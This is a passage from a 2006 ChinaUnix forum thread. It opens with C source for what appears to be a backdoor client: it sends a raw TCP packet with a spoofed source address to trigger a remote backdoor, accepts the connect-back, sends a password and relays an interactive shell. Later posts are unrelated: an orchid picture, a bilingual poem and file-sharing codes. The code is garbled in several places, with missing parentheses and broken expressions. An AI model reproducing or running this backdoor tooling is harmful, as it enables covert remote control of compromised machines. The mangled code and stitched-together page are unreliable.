printf("Looking up %s...", s); fflush(stdout);
he = gethostbyname(s);
if (!he) {
printf("Failed!\n";
return INADDR_NONE;
}
memcpy((char *) &si.sin_addr, (char *) he->h_addr,
sizeof(si.sin_addr));
printf("OK\n";
}
return si.sin_addr.s_addr;
}
int raw_send(struct rawdata *d, ulong tfrom, ushort sport, ulong to,
ushort dport)
{
int raw_sock;
int hincl = 1;
struct sockaddr_in from;
struct ippkt packet;
struct pseudohdr psd;
int err;
char tosum[sizeof(psd) + sizeof(packet.tcp)];
raw_sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
if (raw_sock < 0) {
perror("socket";
return 0;
}
if (setsockopt(raw_sock, IPPROTO_IP,
IP_HDRINCL, &hincl, sizeof(hincl)) < 0) {
perror("socket";
close(raw_sock);
return 0;
}
bzero((char *) &packet, sizeof(packet));
from.sin_addr.s_addr = to;
from.sin_family = AF_INET;
/* setup IP header */
packet.ip.ip_len = sizeof(struct ip) +
sizeof(struct tcphdr) + 12 +
sizeof(struct rawdata);
packet.ip.ip_hl = sizeof(packet.ip) >> 2;
packet.ip.ip_v = 4;
packet.ip.ip_ttl = 255;
packet.ip.ip_tos = 0;
packet.ip.ip_off = 0;
packet.ip.ip_id = htons((int) rand());
packet.ip.ip_p = 6;
packet.ip.ip_src.s_addr = tfrom; /* www.microsoft.com  */
packet.ip.ip_dst.s_addr = to;
packet.ip.ip_sum = in_chksum((u_short *) &packet.ip,
sizeof(struct ip));
/* tcp header */
packet.tcp.source = sport;
packet.tcp.dest = dport;
packet.tcp.seq = 666;
packet.tcp.ack = 0;
packet.tcp.urg = 0;
packet.tcp.window = 1234;
packet.tcp.urg_ptr = 1234;
memcpy(packet.data, (char *) d, sizeof(struct rawdata));
/* pseudoheader */
memcpy(&psd.saddr, &packet.ip.ip_src.s_addr, 4);
memcpy(&psd.daddr, &packet.ip.ip_dst.s_addr, 4);
psd.protocol = 6;
psd.lenght = htons(sizeof(struct tcphdr) + 12 +
sizeof(struct rawdata));
memcpy(tosum, &psd, sizeof(psd));
memcpy(tosum + sizeof(psd), &packet.tcp, sizeof(packet.tcp));
packet.tcp.check = in_chksum((u_short *) &tosum, sizeof(tosum));
/* send that fuckin' stuff */
err = sendto(raw_sock, &packet, sizeof(struct ip) +
sizeof(struct iphdr) + 12 +
sizeof(struct rawdata),
0, (struct sockaddr *) &from,
sizeof(struct sockaddr));
if (err < 0) {
perror("sendto";
close(raw_sock);
return 0;
}
close(raw_sock);
return 1;
}
#define BUF 16384
int main(int argc, char *argv[])
{
ulong serv;
ulong saddr;
ushort sport = htons(80);
char hostname[1024];
struct rawdata data;
int sock;
int pid;
struct sockaddr_in peer;
struct sockaddr_in srv;
int slen = sizeof(srv);
int ss;
char pwd[256];
int i;
struct termios old, new;
unsigned char buf[BUF];
fd_set fds;
struct winsize ws;
/* input checks */
if (argc < 2) return usage(argv[0]);
serv = resolve(argv[1]);
if (!serv) return 1;
if (argc >= 3) {
saddr = resolve(argv[2]);
if (!saddr) return 1;
} else {
if (gethostname(hostname, sizeof(hostname)) < 0) {
perror("gethostname";
return 1;
}
saddr = resolve(hostname);
if (!saddr) return 1;
}
if (argc == 4) {
int i;
if (sscanf(argv[3], "%u", &i) != 1)
return usage(argv[0]);
sport = htons(i);
}
peer.sin_addr.s_addr = serv;
printf("Trying %s...", inet_ntoa(peer.sin_addr)); fflush(stdout);
sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if (sock < 0) {
perror("socket";
return 1;
}
bzero((char *) &peer, sizeof(peer));
peer.sin_family = AF_INET;
peer.sin_addr.s_addr = htonl(INADDR_ANY);
peer.sin_port = 0;
if (bind(sock, (struct sockaddr *) &peer, sizeof(peer)) < 0) {
perror("bind";
return 1;
}
if (listen(sock, 1) < 0) {
perror("listen";
return 1;
}
pid = fork();
if (pid < 0) {
perror("fork";
return 1;
}
/* child ? */
if (pid == 0) {
int plen = sizeof(peer);
if (getsockname(sock, (struct sockaddr *) &peer,
&plen) < 0) {
exit(0);
}
data.ip = saddr;
data.port = peer.sin_port;
data.id = RAWID;
while (1) {
int i;
if (!raw_send(&data, saddr, sport, serv,
htons(DEST_PORT))) {
exit(0);
}
for (i = 0; i < RETRY; i++) {
printf("."); fflush(stdout);
sleep(1);
}
}
}
signal(SIGCHLD, sig_child);
ss = accept(sock, (struct sockaddr *) &srv, &slen);
if (ss < 0) {
perror("Network error");
kill(pid, SIGKILL);
exit(1);
}
kill(pid, SIGKILL);
close(sock);
printf("\nChallenging %s\n", argv[1]);
/* set-up terminal */
tcgetattr(0, &old);
new = old;
new.c_lflag &= ~(ICANON | ECHO | ISIG);
new.c_iflag &= ~(IXON | IXOFF);
tcsetattr(0, TCSAFLUSH, &new);
printf(
"Connected to %s.\n"
"Escape character is '^K'\n", argv[1]);
printf("assword:"); fflush(stdout);
bzero(pwd, sizeof(pwd));
i = 0;
while (1) {
if (read(0, &pwd, 1) <= 0) break;
if (pwd == ECHAR) {
printf("Interrupted!\n");
tcsetattr(0, TCSAFLUSH, &old);
return 0;
}
if (pwd == '\n') break;
i++;
}
pwd = 0;
write(ss, pwd, sizeof(pwd));
printf("\n");
if (sendenv(ss) <= 0) {
perror("Failed");
tcsetattr(0, TCSAFLUSH, &old);
return 1;
}
/* everything seems to be OK, so let's go  */
winch(0);
while (1) {
FD_ZERO(&fds);
FD_SET(0, &fds);
FD_SET(ss, &fds);
if (winsize) {
if (ioctl(0, TIOCGWINSZ, &ws) == 0) {
buf[0] = ECHAR;
buf[1] = (ws.ws_col >> & 0xFF;
buf[2] = ws.ws_col & 0xFF;
buf[3] = (ws.ws_row >> & 0xFF;
buf[4] = ws.ws_row & 0xFF;
write(ss, buf, 5);
}
winsize = 0;
}
if (select(ss+1, &fds, NULL, NULL, NULL) < 0) {
if (errno == EINTR) continue;
break;
}
if (winsize) continue;
if (FD_ISSET(0, &fds)) {
int count = read(0, buf, BUF);
// int i;
if (count <= 0) break;
if (memchr(buf, ECHAR, count)) {
printf("Interrupted!\n");
break;
}
if (write(ss, buf, count) <= 0) break;
}
if (FD_ISSET(ss, &fds)) {
int count = read(ss, buf, BUF);
if (count <= 0) break;
if (write(0, buf, count) <= 0) break;
}
}
close(sock);
tcsetattr(0, TCSAFLUSH, &old);
printf("\nConnection closed.\n");
return 0;
}

论坛徽章:
0
5 [报告]
发表于 2006-06-23 17:35 |只看该作者

BE WITH ORCHID TOGETHER!

和兰花在一起!


E:\图片\bo13

论坛徽章:
0
6 [报告]
发表于 2006-06-23 21:07 |只看该作者

回复 5楼 snoworchid 的帖子

The pure.the bright,the beautiful, 一切纯洁的,辉煌的,美丽的,
That stirred our hearts in youth, 强烈地震撼着我们年轻的心灵的,
The impulses to wordless prayer, 推动着我们做无言的祷告的,
The dreams of love and truth; 让我们梦想着爱与真理的;
The longing after something's lost, 在失去后为之感到珍惜的,
The spirit's yearning cry, 使灵魂深切地呼喊着的,
The striving after better hopes- 为了更美好的梦想而奋斗着的-
These things can never die. 这些美好不会消逝。

The timid hand stretched forth to aid 羞怯地伸出援助的手,
A brother in his need, 在你的弟兄需要的时候,
A kindly word in grief's dark hour 伤恸、困难的时候,一句亲切的话
That proves a friend indeed ; 就足以证明朋友的真心;
The plea for mercy softly breathed, 轻声地乞求怜悯,
When justice threatens nigh, 在审判临近的时候,
The sorrow of a contrite heart- 懊悔的心有一种伤感--
These things shall never die. 这些美好不会消逝。

Let nothing pass for every hand 在人间传递温情
Must find some work to do ; 尽你所能地去做;
Lose not a chance to waken love- 别错失去了唤醒爱的良机-----
Be firm,and just ,and true; 为人要坚定,正直,忠诚;
So shall a light that cannot fade 因此上方照耀着你的那道光芒
Beam on thee from on high. 就不会消失。
And angel voices say to thee---你将听到天使的声音在说-----
These things shall never die. 这些美好不会消逝。

论坛徽章:
0
7 [报告]
发表于 2006-06-23 21:12 |只看该作者

回复 6楼 snoworchid 的帖子

江湖兰花大赏!
5024993010736966
8388352289830279
mofile网络硬盘 提取码
献给兰花光明使者!
另有大量奇花异草不定期奉送!
您需要登录后才可以回帖 登录 | 注册

本版积分规则 发表回复

  

北京盛拓优讯信息技术有限公司. 版权所有 京ICP备16024965号-6 北京市公安局海淀分局网监中心备案编号:11010802020122 niuxiaotong@pcpop.com 17352615567
未成年举报专区
中国互联网协会会员  联系我们:huangweiwei@itpub.net
感谢所有关心和支持过ChinaUnix的朋友们 转载本站内容请注明原作者名及出处

清除 Cookies - ChinaUnix - Archiver - WAP - TOP